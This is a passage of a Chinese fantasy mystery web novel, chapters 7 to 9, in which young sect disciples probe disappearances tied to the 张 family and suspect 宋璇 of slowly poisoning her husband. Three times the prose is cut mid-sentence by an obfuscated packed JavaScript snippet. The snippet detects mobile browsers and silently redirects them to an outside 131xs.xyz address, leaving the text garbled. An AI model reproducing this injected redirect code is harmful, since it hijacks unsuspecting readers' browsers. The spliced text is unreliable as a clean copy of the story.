薛予蓁想了想,“方便的话,我能和你一起吗?” 游鸿这下真的呆住了,薛予蓁笑道:“子书师兄虽然不许擅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471903|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自行动,但我们这也不算是擅自去探这案件。可以吗?” “没什么不可以的,她应该很高兴能看见怎么好看的姑娘。”游鸿小声道。 “嗯?”薛予蓁没听清楚。 游鸿摇头,道:“我已经多年未曾回过平阳城,可能有些识不得路了,师姐莫要怪罪。” 两人不太熟悉,一路上干巴巴的什么都没讲。只是越走越偏,路过一所宅院时,薛予蓁抬眼看去——府门已经掉了大半,四周围墙长满了青苔杂草,牌匾断开掉了一个半下来。薛予蓁走近一看,模模糊糊的看出那是一个张字。 薛予蓁这才发现他们俩人已经走到了城西南,“这是,张家的旧宅。” 偷跑去城西南的事情还是败露了,即便是误打误撞的。被子书珹逮到的时候,游鸿还有些抱歉地看了看薛予蓁。 而他这位小师姐似乎是早就习惯了,不服输的和子书珹争辩了几句之后就只能耷拉着脑袋认了错。 许乐禾一脸奇怪地问她:“你就非要寻求这种自己偷跑的刺|激吗?你知道我们几人在客栈没找到你时险些吓得向褚师兄求救了吗?” 薛予蓁不敢同子书珹吵,却常常和许乐禾互怼,“昨日偷偷出去的确是我不对,今日怎么算?谁知道稀里糊涂的走到了这里,而且师姐分明给了我传音玉符,你们为何想不到拿那个来联系我?” 几人纷纷沉默了,带着头一次出山门的师妹,又是被施淼淼捧在手心的师妹,生怕她哪碰着磕着了,找不着人的时候都急得要死,哪还想的起来传音玉符。 但这么丢脸的事情是不可能叫师妹知道的,徐赠春轻咳一声:“关心则乱,今日小雨起来发现房里只剩她一人,吓得脸都青了。” 说实话,陶小雨脸上的表情除了笑就是面无表情,薛予蓁不信徐赠春能看见其他表情,但也清楚她是在告诉自己不要再瞎跑了。 “下次出门会告诉各位师兄师姐的。不过,”薛予蓁回头指着不远处的张家旧宅,“来都来了,不如先去看看这个老宅子吧。” 几人原本打算今日一早就去张府寻宋璇问问老宅的事情,但既然已经走到了这里,便也顺水推舟地先去看看。 这老宅确实是破败了许久了,许乐禾觉得自己劲都没使几分,那摇摇欲坠的大门便直接倒了下去,砸起的灰尘闹得几人连连咳嗽。 院内已经看不出原来是什么模样了,杂草长的比人还高。 那边徐赠春低呼一声,“这里。” 几人纷纷围了过去,只见那比一人还高的杂草隐隐有些被拨开的痕迹,往里面一看果不其然看见了被踩踏过的痕迹。 子书珹收回探灵符,看着这些痕迹道:“先前清水宗的人便说没有恶灵作祟的痕迹,我方才也探了一下,确实如此。”他蹲下身子仔细的看了看,“如今看来,平阳城里那么多人的失踪是人为的。” 可清水宗也说近年来也不断的派人在这些地方巡查,并未发现异样。薛予蓁想不出原因,愁眉苦脸的看着杂草愣神,“诶?” 她扒拉开杂草捻起一粒小小的金珠,语气惊诧,“这个珠子,我昨日见过。”她面色有些复杂,因为这小金珠不是旁人的,正是那位被她不小心撞倒的宋小姐衣摆上绣着的。“可为何会是她的呢?” 7. 第七章 张家 薛予蓁头一次遇见这样的情况,那位宋璇姐姐在她眼中是一位温柔可亲的小姐,但不论是今日在这捡到的金珠还是昨日在巷中看见的那方手绢,所有的证据都仿佛指向了她。 她无措地看向子书珹,妄图想在他那里找到些心安,却看见子书珹的神色也有些不对劲,正打算问他便听见了两道脚步声。顿时将手按在了剑鞘上,警惕地望向声音传来的方向。 子书珹挡在他们身前,微微偏头示意不要出声。 “师兄,这个地方真的有我们要找的东西吗?”一道冷冽的女声问道。 “师父都还没急,你急什么。”男声顿了一下,随后便是利刃出鞘的声音,“谁在那边?” 子书珹这时却没那么紧张了,他将手放了下来,对身后众人比口型道:“凌河药谷的人。” 说罢便挂起笑迎了上去,“曲兄,上次见面应是弟子大比了吧,真是许久不见了。” 那名男子瞧见他,放下手中长剑,也笑道:“原来是子书兄,”眼神看向旁边的女子,“以云,这是知源宗的子书珹,把刀收起来。” 崔以云虽说脸色还是有些不好看,但顺从地将双刀收了回去。 曲飞白走近行了一礼,“没想到今日居然能在这里看见子书兄,不知诸位在平阳城做什么呢?” 子书珹偏头看了看薛予蓁,“师门里的小师妹到了年纪该下山练练本事了,听闻平阳城最近有异事发生,便来看看,曲兄怎么在这?凌河药谷离平阳城可是有不少距离。” 两人虽说是笑意盈盈,礼貌相对,但话语中的争锋相对都要化为实质了,陶小雨听得难受,刚想怼一怼这个师妹本人,却见她看着崔以云发呆,顺着她的实现看去——不过是个绣着凌河药谷徽式的小钱袋。她实在是想不通薛予蓁看这么个小玩意怎么如此投入,刚要同她说话,这人却又自己醒了神。 那边两人又你来我往了两句,最终都找了个正常的由头止住了对方的怀疑。曲飞白和崔以云找了理由先走一步,子书珹待人走后便面色一沉,这时也顾不得看不看得惯徐赠春了,“下午我要单独出去一趟,你带着他们去找宋璇。” 徐赠春还没开口说话,薛予蓁便抢先一步,“子书师兄是要给师兄报信吗?因为凌河药谷的人来了平阳城。”她言语笃定,又看向两人离开的方向,“那个花纹,我曾经见过。” 母亲从未谈及过自己的过往,只说一人在五洲游历时见过许多趣事乐闻。但薛予蓁曾看见过她拿出过一个玉牌,上面的纹样雕的栩栩如生——是凌河药谷白虹花的样子。 她心中茫然,她的母亲是凌河药谷的人吗?如果是的话为什么又在墟山脚下。 子书珹见她神色迷茫,眼神悲戚,心中也很难受,但他对此事也有诸多不解,只能摇头:“若有其他洲的宗门人士来渝州的确要去向褚师兄说明情况,其他的我便不清楚了。” 他向剩下的人简单地交代了几句,大多是叮嘱不要独自一人瞎跑之类的话,说完便匆匆离开。徐赠春打算带着几人再去清水宗问问消息,薛予蓁摇头,“徐师姐,你们先走吧,我想一个人在这边再看看。” 她的状态是个人都看的出来不太对劲,徐赠春怎么可能放她一个人独处,但是小师妹的情绪失落是因为四年前家中突发的意外,她也不好叫薛予蓁别去想。 一向口齿伶俐,头脑清晰的徐赠春一时半会也没有办法,薛予蓁看她脸色为难,主动道:“让徐师姐为难了,这样吧,我去张府瞧瞧宋璇吧。” 徐赠春没想到这一点,她皱了皱眉:“你一个人?” 薛予蓁点点头:“昨日也算是与她有一面之缘,上门拜访也不显得突兀。” 这的确是个不错的想法,去拜访宋璇是迟早的事情,但徐赠春同样不放心她一个人前往,她看向游鸿,“游鸿师弟,拜托你跟着予蓁吧。” 早上便是游鸿将薛予蓁带到这个地方的,他没什么意见,点了点头。徐赠春又和薛予蓁交代了几句话,见她实在是笑得有些勉强之后,便也不多说了,带着陶小雨和许乐禾离开了。 三人走远以后,游鸿看向薛予蓁:“师姐,若是不想我在你身旁的话,我可以远远地跟着你。” 薛予蓁这会儿脑子里很乱,一旦母亲的真实身份被挖掘出来了,那么当年之事便不单单是遭遇了意外,而是也许有人故意为之了。 她有些遗憾自己下山时没第一时间去家人的墓前看看。但冷静下来后又确实明白此时不是能够给她“一个人静静”的条件的,她摇摇头,“不必了,你同我一起就好。” 她挠了挠脸颊,又回首看了看这破烂的宅子,“看起来,这里应该不止是一个被遗弃的旧宅那么简单。”说罢,又看向游鸿,“游师弟要去和那位故人说声再见吗?” 游鸿听见这话罕见的笑了一下,“多谢师姐,但是不必了。”在薛予蓁疑惑的眼神中解释道,“那不过是一座空坟,那一年,我未曾找到她的尸首。” 二人没再多耽搁,不过一刻钟就到了张府。只是还未请门口守卫通传,便有一个丫鬟朝他们招呼道:“二位,我家小姐宋璇有请。” 丫鬟年岁看着比薛予蓁大了那么一两岁,又听她称呼宋璇为“小姐”,师姐弟对视一眼,知道这应当是宋璇从宋家带过去的贴身侍女,又见守卫并无阻拦之意,便跟着这侍女进了张府。 薛予蓁也谈不上健谈,但也知道你自己不说话也等不来别人主动搭话,而她这个师弟更是沉默寡言,堪堪压下自己心中那些关于母亲的疑惑,挠了挠脸颊蹭到了那侍女的边上,笑嘻嘻道:“姐姐如何称呼?” 侍女闻言倒是一惊,她也不是未曾见过别的门派派人来平阳城查事,那些个修仙修得觉得自己高人一等的少爷小姐都是一副看不起他们这些人的模样。像薛予蓁这样没什么架子的人确实少见,她对这个少女的印象好了几分,“修士唤奴婢彩玉便好。” 薛予蓁应了一声,甜甜地喊了一声“彩玉姐姐”后就不再作声。倒是彩玉打开了话匣子,“两位修士可也是来调查平阳城诡事的?” 这件事也不是什么好隐瞒的,特别是他们两人都已经进到别人家里来了,薛予蓁道:“听彩玉姐姐这么问,莫不是已经有不少人来过了?” 彩玉点点头,“一年都有那么三四次有人要来见我家小姐问这事,”她轻嗤一声,“张家的事……” 手帕和金珠还放在薛予蓁的储物囊里,薛予蓁劝说不了自己不去怀疑宋璇,可昨日观宋璇的样子,一是不像是作恶的人,二是这宋小姐看起来虽称不得柔弱,但也绝不是能挟持那么多流浪汉和乞丐的人。这话她接不上,只能微微一笑。 张家发达后从那间旧宅搬出来,倒是将宅子越修越大,彩玉引着他们去宋璇的院子时,还经过了好几个偏院, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471904|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大门紧闭,薛予蓁感觉那几间屋子阴气森森。彩玉见她频频看去,低声解释道:“这些个院都是张家老爷不受宠的几个儿子。” 薛予蓁对此兴趣不大,只感叹了句张家家大。又绕了几道长廊后,彩玉将他们带到了一座花园里,园里有一荷塘,正是花开之际,满园荷香,塘中有一小亭,宋璇正坐在里面和一男子说话。彩玉将两人引到入口便不再往前走,“小姐只说让奴婢将二位带着采荷园。” 两人道谢后朝着塘中小亭走去,走至半途和那名男子碰上,他看着一副端方君子的模样,薛予蓁却从他身上察觉到几分死气,再想细看时那人已经快步走远。她也只好收回视线,看向亭中的宋璇。 宋璇早已看见他们二人,如今带着清浅的笑意站起身来迎,“又见面了。” 薛予蓁两人抱拳行礼,“宋小姐。” 宋璇摆摆手,“我不在意这些虚礼,二位请坐。” 薛予蓁本就不知该如何说这件事,又看宋璇热情的叫人为他们奉茶,不知是不是错觉,今日的宋璇看起来要比昨日更有精神一点。他们不说,宋璇反倒是先提起来。 “昨日回来后,我便想着要几日才能等的人来,没想到不过一夜,便等到了。”宋璇还是那副温温柔柔的样子,“可是查到了什么?” 这时,薛予蓁才惊觉自己今日来张家实属有些贸贸然了。倘若宋璇真是背后之人,她和游鸿透露出些什么便可能会死在这里,但若她不是这背后之人,如此急切又是为了什么?她正想着要编点什么来搪塞过去,余光却瞥见了些什么,薛予蓁下意识的看过去——是一枚小小的金珠,同她放在储物囊内的一模一样。 这便是个刚刚好的岔开话题的物件,薛予蓁俯身捡起这枚小珠子,摊开手,“这是何物?” 宋璇探身看了一眼,不以为意,“约莫是我夫君衣服上的金珠,”她神情淡然,“方才你们也打过照面了。可能是府中绣娘疏忽,没缝制好。”她心细,“这颗珠子怎么了吗?” 薛予蓁掏出另一颗珠子,这时也不好再隐瞒,“我同子书师兄今日去西南那间旧宅看过,在里面瞧见这这颗珠子。”她羞涩一笑,“昨日不小心撞到宋小姐,也瞧见了这同样式的小珠子,还以为是……” 宋璇读懂了她的未尽之意,失笑道:“张家的衣服上多多少少都会绣这金珠,我说你方才怎么有些拘谨,原来是因为这个。” 还未等薛予蓁开口说什么,宋璇又接着说,“不过,张家的东西确实不怎么干净啊。”这话中有话,是个傻的都听出来了,还未等薛予蓁追问,有小厮端着碟点心过来。 “少夫人,少爷说久未见您邀人来府中,今日这一见,观您的气色都要好些了,便叫厨房做了些吃食来。” 宋璇道:“他倒是有心了,下去吧。” 说罢,又看着薛予蓁道:“方才薛姑娘捡了地上的脏东西,便同我一道去净手吧,府中厨娘的荷花酥可是平阳城一绝。” 薛予蓁想说自己用引水诀便好,却见宋璇明明是笑着的,眼中却分毫笑意都没有,便将话咽了回去,轻声应了好。见她要跟着宋璇走,游鸿也站了起来,“师姐。” “我同宋小姐一道,去去就回,师弟在这等我们便好。”这是个冒险的方法,但宋璇在前面定定地看着他们二人,薛予蓁知道这事并不安全,却有感觉宋璇有什么话很急切的要同她说。 8. 第八章 改观 薛予蓁在铜镜前默不作声地洗着手,听见身后的宋璇关上了房门,她心中一紧,心弦紧绷,却听见后面的人问她。 “薛姑娘,你在旧宅当真没看见什么吗?” 薛予蓁猜不透她要做什么,一边垂眼擦着手,一边回复道:“只草草的看了几眼,便叫人打断了。” 闻言,身后的人不再说话,薛予蓁伸手探到身侧佩剑,慢慢转身。 “铮”两剑相碰,发出尖锐的声音,薛予蓁微微诧异,宋璇看着柔弱无骨的模样,竟然也会些剑术。她此时看起来神色有些阴郁,若是方才薛予蓁拔剑的速度再慢些,那柄剑便抵在她的脖颈边上。宋璇虽是会些剑术,但放在薛予蓁面前来却并不算得了什么,她能感觉到宋璇的力气渐渐变弱。 “宋小姐这是为何?”抓住宋璇想要攻击的空隙,薛予蓁提剑将宋璇的剑挑飞,剑尖直抵她的咽喉。 宋璇这是半分温柔的模样都没有,冷笑一声,“既去了旧宅,却什么都没有发现,怕不是也是张珏寻来的草包。”她话说完,自己却有些疑惑,“若是如此,子书珹为何会同你一道。” 薛予蓁越发听不懂她在说什么,但听她提起张珏时语气狠毒,便抓住这个档口,“宋小姐这话,难道平阳城发生的事情同他有关系?”她忍了一下,到底没忍住,“还有,我也不是张珏寻来的,更不是什么草包。” 宋璇脸色依旧不太好看,她抬手推开薛予蓁的佩剑,“那这事便是我误会薛姑娘,不过若是长些脑子,昨日我说哪些话之后,你们便应该去旧宅将它翻个底朝天,而不是来张府拿着似是而非的东西试探我。” 这话讲得薛予蓁心底冒起一股无名火,她面色不善地收了剑,哼笑一声,“那也不知是我们先抓住凶手,还是先被凶手抓,”她到底还是年纪小,“宋小姐心中有数为何不自己动手,要等着旁人来救。”她原先还觉得这个姐姐人好心善,寻见与她相关的物件是也是真心实意地为她担忧,却没想到今日见面,宋璇竟是这副模样。 想到这,薛予蓁气得更厉害了,她掏出手绢,摊在宋璇面前,质问道:“若是金珠张府的人皆有,那这绣着你名字的手绢又该如何解释。” 宋璇瞥了一眼,不以为意道:“我宋家虽比不得张家,但也算得上是家大业大,这样的绢子我幼时多得是,今天赏这人一条,明日给那人一个。”她丝毫不将这东西放在心上,“这一张绢子又看得出什么呢?” “你——” “薛姑娘年纪小,还是换别人来和我谈吧。”宋璇打断她,“今日算是我招待不周了,他日必会上门赔礼。”她施施然推开房门,“薛姑娘,请。” 游鸿向来寡言少语,在宗门时便不太与人交好,旁人都说他是个只会修行的呆子,但他只是不愿意开口罢了。此时看着神色不虞的薛予蓁,游鸿便是想开口说些什么都说不得——怕自己触了这位小师姐的霉头,只得默默地跟在小师姐的身后,随她一道回了落脚的客栈。 到客栈时,旁的同门都还未回来,薛予蓁心中有气,只淡淡和游鸿说了几句话后便回了房间。她心中乱的厉害,来这一趟平阳城,对娘亲身份的疑惑和识人不清的愤怒这两种情绪交织在一起。坐在桌边时恍惚间还能听见宋璇说她没脑子。薛予蓁兀的就委屈起来了,要是亲人具在或是还在知源宗,何人会这样说她?敢这样说的人,隔天就会被师姐寻上门训斥一顿。她因初入此道,比旁人晚了好些年,几乎是时时刻刻都在修炼,却还要被人质疑是丹药堆砌的修为——薛予蓁越想越气,抓起佩剑就要出门。 “子书师兄?”门开后却看见的是子书珹正要敲门的手,薛予蓁心中的气愤霎时消了大半,“你同师兄说完了吗?” 子书珹挥挥手示意她进屋说话,“已经向褚师兄说过了,他说近日来并未有药谷的人进渝州的放行令。” 薛予蓁微愣,“那两人是私自来的?” 各洲驻地大宗间有一不成文的规定,要入哪个地方就要哪个地方宗门的放行令。现如今凌河药谷的人无故进了渝州,既没有向知源宗的拜帖,也没有放行令,居心何在简直一眼就能看得出来。 薛予蓁道:“今日遇见时,听他们说像是在渝州找什么东西?” 子书珹道:“暂且先不说他们二人了,褚师兄已经派了人过来。我们只管处理好平阳城这‘夜半哀嚎’之事便好。”他话锋一转,“说起来,方才碰到游鸿,他说你心情不太好,可还是在想…?” 说到这里,薛予蓁的神色有些不自然,她没想到看起来呆呆的游鸿还会关注这些事情,犹豫了两下,“不是,我同他先前去拜访了那位宋小姐。”那宋小姐三个字叫薛予蓁说得咬牙切齿。 子书珹一听便知道不对,今早还在为宋小姐担忧,不过是半天的时间,态度就转变得如此之大,他展扇给薛予蓁扇风,安抚道:“怎么了,那位宋小姐怎么惹到我们小风筝了?” 薛予蓁一字不漏地将在张府的事情讲给他,“子书师兄,你怎么会和这样的人有交情。” 谁知子书珹听完却哈哈笑了起来。 “子书师兄!” 子书珹无奈地摇摇头,“你这算是踢到铁板了。宋家的人本就不喜欢宋璇,宋老太太,宋家现如今的家主也罢,甚至连宋璇的亲娘,都不喜她。你可知宋璇有多少个姐妹?” “十六个。她母亲便生了七八个,宋老爷其他的妾室也生了不少。先前也说了,若不是这宋老爷非要个儿子来继承家产,莫说平阳城张家,就算将宋家迁到白溪城,她宋璇都能站稳脚跟。她这么有能耐,可就不会只是一个扶风弱柳的姑娘。”子书珹说着,拿着扇子漫不经心地敲着桌子,“不过她说,将旧宅翻个底朝天……” 薛予蓁仍旧有些不解,“既然宋璇这么厉害,当年又为何要答应张家进门。” 子书珹哼笑一声,“这我便不得而知了,小师妹,你师兄不过是和她见过几面罢了。”他垂眸想了半刻,最后将扇子猛地一敲,“走,既然宋璇这么说,那我们就再去旧宅看两眼,看看这底朝天是怎么个底朝天。” 薛予蓁本来就对那座旧宅抱有疑问,这下心中的郁气又消下去不少。她抓起自己的佩剑,兴致勃勃的问道:“子书师兄,我们何时动身?要等徐师姐他们回来吗?” 子书师兄闻言摇头,拿着扇子虚空点了点她,“等她做什么,你去叫游鸿,我们马上就去。” “现在就去?”薛予蓁愣了一下,有些迟疑,“大白天的…” “难不成,师妹在期待夜探?”子书珹笑了两声,“咱们可是正大光明被请来调查的,青天白日去看看又如何。” 张府虽那时不太发达,但宅子也算得上大。上次来时,时间匆忙又遇上了凌河药谷的人,几人只是在前厅里看了看,别的地方都未曾去过,三人到了之后便分开查看。 薛予蓁往日在知源宗除了修习,便是和施淼淼在药圃里照看灵药灵草,对这些花花草草熟悉得很。这旧宅里杂草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471905|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丛生,咋一看好像没什么不对劲的地方,但细看却能发现被人小心踩过的痕迹。薛予蓁拨弄了一下草根,惊讶地发现这些痕迹很新,几乎是那人前脚刚到他们后脚就来了,看这痕迹的轻重,大概是个女子。薛予蓁心中一道念想闪过,女性,并且能在这个时候来旧宅这边的,除了她才见过的宋璇之外,她想不到第二个人了。 是巧合还是故意而为?是看他们没按照她的预期对这所宅子做出行动才决定来还是在隐瞒或是要揭露什么?宋璇和张家,和这些失踪案到底有什么关系?薛予蓁心中的疑问越来越多,她一边顺着那人留下的痕迹找去,一边想着,不知不觉被引到了一件破旧的小屋前,而脚下的杂草显然有着被多人踩踏过的痕迹。薛予蓁心道不好,自己方才思索得太投入了,立马警觉地拿起佩剑缓缓朝小屋走去。门扉被剑轻轻地挑开,因为太破了,薛予蓁甚至都还没有用力便倒下了,砸在地上带起一阵灰尘。薛予蓁抬手捂住口鼻,缓缓往前探着,在满目的灰尘中她恍惚间看见了一个人影,待她挥开面前的障碍要去细看时却又什么都没有了。 屋内实在是破败得厉害,但也能看出这屋子是间柴房,墙角还堆着几大梱堆到屋顶的干柴。薛予蓁走到柴堆前试探性地将剑插进去搅和了几下,只听见金属和木柴碰撞的声音。心中的紧张感放下了几分,薛予蓁转而去看其他地方,柴房不大,转个身的功夫便能看个遍,除了这边墙角堆的柴火之外,其他地方便是些废弃的桌椅柜子。薛予蓁凑近去看,那些东西上面都积着厚厚的灰,不仅如此,只要人一走动便带起一阵浮灰。 薛予蓁抬头想要避开这些脏东西,目光落到墙上时却僵在原地。之间墙体上有一个二指宽的小洞,小洞之中一只眼睛死死地盯着她看,似乎是要将她用眼神钉入墙里。一瞬间,薛予蓁只觉得自己心跳都慢了半拍,背后阵阵凉意泛起。不过几息,那眼睛便消失不见,薛予蓁这才反应过来,提剑朝外跑去,但她还是慢了一步,等她绕到后面时,那人早已不见踪影,只有院墙上飞速闪过的一片青绿色衣角。 “师姐!你在这边吗?师姐?”游鸿的声音慢慢朝这边逼近,薛予蓁兀的回过神来。她按下心中的慌乱,随口应了一句。 没过一会儿,子书珹和游鸿便找了过来。子书珹手中还握着未收回剑鞘的剑,薛予蓁微微有些诧异,子书珹虽说是符修,但既然作为知源宗长老的首徒,那必定是哪方面都不会差的。往常只见过他以符纸或是那把折扇应战,从未见他的剑有出鞘的时候。 “子书师兄可是遇到什么了?”薛予蓁紧张地问道。 子书珹只是盯着她瞧了一会儿,像是确定了她安然无恙之后才慢悠悠地将无相剑收回剑鞘,摇了摇头,“师兄没什么事,只是担心小风筝。” 游鸿点点头,“半刻钟前,师姐你的‘诏之’便和我们的断掉了,我与子书师兄碰头后都联系不上你,还以为你出什么意外了。” 诏之是闵榭长老研究出来的联络仪,以灵气驱动。薛予蓁闻言连忙将自己而诏之拿出了看,的确灵气已断。 “连传音玉符都无法联系到你。”子书珹补充道。 薛予蓁愣了一下,诏之到底是需要灵气驱动的机关术,而传音玉符却是灵器,绝不会因为没有灵气就无法使用,更何况她也并没有感受到自己的灵力被压制或是消失。她仔细回想了一下,半刻钟之前正是她跟着那人痕迹走到柴房附近的时间。 “这里,有屏蔽灵器灵符的阵法。” 9. 第九章 下毒 小街的热闹是从天亮时开始的。一大早,宋璇便带着人和赔礼到了薛予蓁几人住宿的客栈下等着。薛予蓁经历了昨天那一遭后对宋璇是完全没有了好感,被子书珹因为这事叫起来时脸色臭得不行。 那边宋璇道歉的话还没说出口,薛予蓁抢先道:“宋小姐今日该满意了吧?既是有脑子的人和你说话,又是合你意昨日去将那旧宅翻了个遍。” 宋璇本要说出口的话生生被噎在喉咙里,但她的确是像子书珹说得那样能耐很大,被这样说也不过是愣了一两秒,随后便笑着说:“昨日是有些急切了,伤了薛姑娘的心。”招了招手,立马便有人奉来一个檀木盒,“这不,今日就来赔罪了,这里面是前些年我走商是搜集的灵草,虽是比不得你们大门派,但也绝非俗物。” 盒中装的什么薛予蓁完全不在意,她张口还要再说,却被子书珹制止了。他也笑道,“予蓁年纪小,气性大是难免的,还望夫人见谅。” 听见他的这声夫人,宋璇有些愣神。子书珹又说,“门口人多,不妨去楼上雅间一道吃个早茶,正巧昨日探了旧宅后有些发现,想要同夫人要个说法。” 宋璇点点头,只带了贴身的丫鬟彩玉一同上了楼。薛予蓁侧身让这主仆二人过,目光落到彩玉身上时有些疑惑。 雅间里,没了外面的人,薛予蓁说话丝毫不客气,“宋小姐,昨日下午在柴房外盯着我的人是你吧?” 谁知宋璇却露出一副惊讶的表情,“这,薛姑娘认错人了吧。昨天下午,我相公突然有些和发热,请了大夫之后我便一直守在他身边,连门都没出,怎么会去旧宅盯着你呢?” “你——”薛予蓁语塞,她昨天说到底也只看见了那一只眼睛和一片衣角,要说容貌,那是一点都没看清楚。她的目光缓缓移到彩玉的身上,昨天去见宋璇是便是她引得路。薛予蓁心道自己绝对没有记错,虽说那人走的速度太快,但还是足够她认清那片衣角——正是这个侍女昨天穿的那件。可彩玉平常虽然也坐粗活,但身手绝对达不到那样程度,晚间回来时薛予蓁想了又想,也只能想出宋璇和彩玉换了衣裳这一种可能性。 正要开口时,却叫人打断了。 雅间外传了一阵咳嗽声,而后便有人敲响了房门,一道虚弱的嗓音传了进来,“诸位仙长,我无意偷听…咳咳咳…只是早间听人说阿璇来这边了,心中有些…咳咳…有些不放心,便跟了过来…咳咳咳…咳。” “张少爷快请进来。”子书珹招呼了一声,“小二,上茶。” 宋璇搀着张珏坐下。张珏摆了摆手,又急促地咳嗽了两声后才抬头看向几人,他脸色苍白,嗓音因为咳嗽频繁有些低哑。薛予蓁昨天进张府的时候粗粗扫过一眼这人,那时还是面色红润,翩翩公子的模样,今日却就成了个病鬼。张珏喘息了几下后才缓缓拱手道:“这其中定然有些误会,昨日我这病来的急,夫人担忧了许久,几乎整天都陪着我……咳咳咳…咳咳。” 身旁的小厮也垂首补充道:“昨日小的一共往少爷屋里送了三次药汤,次次都是夫人接过喂少爷服下。” 子书珹闻言沉吟片刻,“如此的话,那便是我们看错了。”他起身抱拳施礼,“误会了张少夫人,实在抱歉。”说着还朝身旁的薛予蓁示意,叫她来道歉。 薛予蓁原本不肯,看着子书珹神色严肃,也还是不情不愿垂首说了句抱歉。 张珏道:“也不怪诸位仙长,阿璇也是急了些,近来的话对张府不利,她也是关心则乱。” “能理解,张少爷身体不适,还是回去好生休息吧,莫要让家里人担心。”子书珹笑道,“还请二位放心,我们定会查明此事,还你们一个公道。” 送走这两人后,薛予蓁还有些愤愤不平,也更是觉得事存蹊跷。这宋璇说白了也是家族利益关系里的受害者,嫁进张家便是断了她其他的路,她当真像是说的那样认命了?薛予蓁一点也不信,昨天在张府,她话里话外摆明了在告诉她,事情和张家脱不了关系,今日倒是和张家的人统一话术了。难不成是有人在威胁她?她越想越觉得有可能。可不论是今天还是昨天,宋璇的态度都有问题。 “小风筝?” 薛予蓁叹了口气,“子书师兄,好难啊。难不成我当真没有脑子?” “小风筝,说说看,你的想法。”昨天旧宅里发生的事情徐赠春一概不知,方才她一直没说话,现在外人走了,她才开口问。 薛予蓁想了想,说:“我还是觉得宋璇有问题,昨天在张府,她分明就是在说张家有问题,张珏有问题。今日倒是和他演起了恩爱夫妻来。还有我昨天看见的那个人,肯定是宋璇。我原先想的是她和她那个侍女换了衣服出了府,可张珏和他那小厮却说……我便不知道是对还是错了。” 徐赠春听罢,点点头,“若是我,短时间内见识到一个人的两种截然不同的态度,也会觉得有问题。你为何会觉得是宋璇和彩玉互换?” “原先还不太确定,只是猜测,但是今早细看,彩玉和宋璇身高和身材都颇为相近,这才有了确切的想法。可那两人的说辞却又将这想法破了。”薛予蓁到底也是头一回经历这些事,一时间有些垂头丧气。 “若是他们认错人了呢?”子书珹慢悠悠补充道。 许乐禾打了个响指,“四个月前我回家,偷偷溜到平阳城来,撞上过一次张珏。他那个时候可不像是这样病怏怏的。”他买了个关子,继续道,“我和徐赠春可是医修,他这副样子,看似是急病,实则是被人悄默声的下了好几个月的药了吧。” “他虽还能表现的一派清明,但眼中无神,行动也有些许迟缓,若是看得仔细能发现还有些手抖。”徐赠春道,“没猜错的话,应当是被下了精神类的毒。” “可是,张家不是做的草药生意吗?他连这都识别不了?”薛予蓁疑惑。 徐赠春笑了笑,“未必是直接下的,香或是吃食都有可能,也或许是二者结合。”她点了点桌子,“一般这种方式,前期没有什么症状,到了后期,中毒之人便生不如死。看来,这下毒之人是恨透了他。” 若是说到最想要他生不如死的人,薛予蓁也只能想到宋璇一人。可到底发生了什么事情,让她这么恨张珏。 “如果没有猜错的话,应当是浮烟草和灵霖果。”子书珹道。 “灵霖果?”薛予蓁惊道。 子书珹挑眉,“就是初见时她塞给你的那个果子。浮烟草养神,灵霖果其实单吃的话没什么用,只是味道好些,但它的气味却可以明心,但这两味混到一起,便成了杀人的毒药。她甚至都不需要让张珏吃下这果子,正大光明地摆放在桌子上。” 徐赠春点头,“曾在师父收藏的古籍里看过这两个东西制成的药物,服用小半个月便能使人精神恍惚,出现幻觉,过不了几日就会因此而疯魔。”她语气中略微带了点欣赏的意味,“这位宋小姐,我记得她并不善此道,但却能研究到这种程度,很聪明。”仿佛说的不是一个可以杀人的毒。 这两日徐赠春和子书珹不知是不是达成了什么协议,没之前那么争锋相对,互看不顺眼,反倒是多了几丝友好相处的感觉。子书珹认同地点了点头,“她的确聪明。但结合这两天的情况来看,张家旧宅还得查,宋璇也的确有问题。” 旧宅要查,最紧要的就是柴房的那块。 “昨日我们去探查旧宅,最让人在意的点莫过于那能屏蔽灵器灵符的法阵了。”子书珹道,“怪不得之前他们请来的人用灵符探查怨灵毫无反应,原来是灵符根本就没起作用。” 许乐禾道:“如此看来,张家之前请来的人也的确是草包了。昨天我们可有大发现。” 薛予蓁狐疑地看着他,“昨日你们不是去找白宗主了吗?难不成……” 这人一脸骄傲的摇摇头,“小风筝啊,你还是太天真了。有些话未必是说给你听的。昨天我们什么时候说的要去找白宗主?” 